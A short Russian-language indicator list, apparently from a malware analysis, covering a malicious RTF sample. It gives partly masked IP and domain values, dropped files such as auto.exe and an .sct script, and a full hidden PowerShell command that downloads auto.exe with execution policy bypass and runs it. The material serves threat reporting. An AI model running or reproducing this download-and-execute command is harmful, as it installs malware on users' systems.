Техническая информация
- http://13.##.179.221/acts/auto.exe как %appdata%\auto.exe
- %TEMP%\abctfhghgdghgh‹.sct
- %APPDATA%\auto.exe
- <Текущая директория>\~wrd0000.tmp
- %TEMP%\abctfhghgdghgh‹.sct
- <PATH_SAMPLE>.rtf
- '13.##.179.221':80
- 'li######lsupporters9.com':80
- http://li######lsupporters9.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-E29C8D8ADDB7C46A2DE9F2C005EE6BA4.html
- DNS ASK li######lsupporters9.com
- '%APPDATA%\auto.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://13.##.179.221/acts/auto.exe','%APPDATA%\auto.exe');Start-Process '%APP...' (со скрытым окном)